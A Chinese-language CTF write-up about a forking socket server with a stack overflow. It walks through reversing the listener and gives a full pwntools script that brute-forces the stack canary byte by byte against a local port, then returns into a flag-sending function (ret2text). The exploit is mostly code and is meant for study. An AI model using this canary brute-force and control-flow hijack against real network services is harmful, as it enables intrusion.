省流:Canary爆破,顺便复习了一下Linux socket API,还知道了IDA View下右键数值常量可以查找对应的枚举名(前提是要指知道枚举名的开头)(比如AF_INET、SOCK_STREAM等)。
程序逆向
一开始程序创建了一个监听套接字,逆向得到逻辑大致如下:
1 2 3 4 5 6 7 8 9
| static struct sockaddr_in addr; addr.sin_family = AF_INET; addr.sin_port = htons(5555); addr.sin_addr.s_addr = htonl(0);
static int listen_fd = socket(AF_INET, SOCK_STREAM, 0); setsockopt(listen_fd, ...); bind(listen_fd, &addr, 0x10); listen(listen_fd, 0x400);
|
创建完毕后,主进程进入 accept-fork-close 循环。
而 fork 出的子进程会调用函数 sub_400BE9 从套接字读取输入(存在栈溢出),如果正常返回,会向套接字发送 “Message received!\n” 然后退出。
漏洞利用
程序一开始会把 flag 读到 bss 段的 602160 处,还有一个 sub_400bc6 函数会把这个 flag 直接发给套接字。(出题人真友好)
因此这题的漏洞利用逻辑就是经典的利用子进程 canary 不变的特点爆破出 canary,然后 ret2text。
解题脚本
学习了下 try-catch-finally 的结构,以及脚本写成模块化的思想。注意在 try 当中尝试接受套接字的消息,但是由于此时服务器已经关闭套接字,所以这里会引起 EOFexception,跳到 except。
finally 中的代码不论如何都会被执行,非常适合用来关闭文件、关闭套接字等操作。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| def leak_canary(): global canary canary = b"\x00" p = log.progress('Canary BruteForce') while len(canary) < 8: for ch in range(0xff): io = remote("127.0.0.1", 5555, level="critical") io.recv() io.send(b"a"*0x68 + canary + pack(ch, 8)) try: io.recv() canary += pack(ch, 8) break except: continue finally: io.close() p.status(repr(canary))
p.success(repr(canary)) def pwn(): io = remote("127.0.0.1", 5555) io.send(b"a"*0x68 + canary + b'a'*8 + pack(0x400bc6)) io.interactive()
if __name__ == '__main__': leak_canary() pwn()
|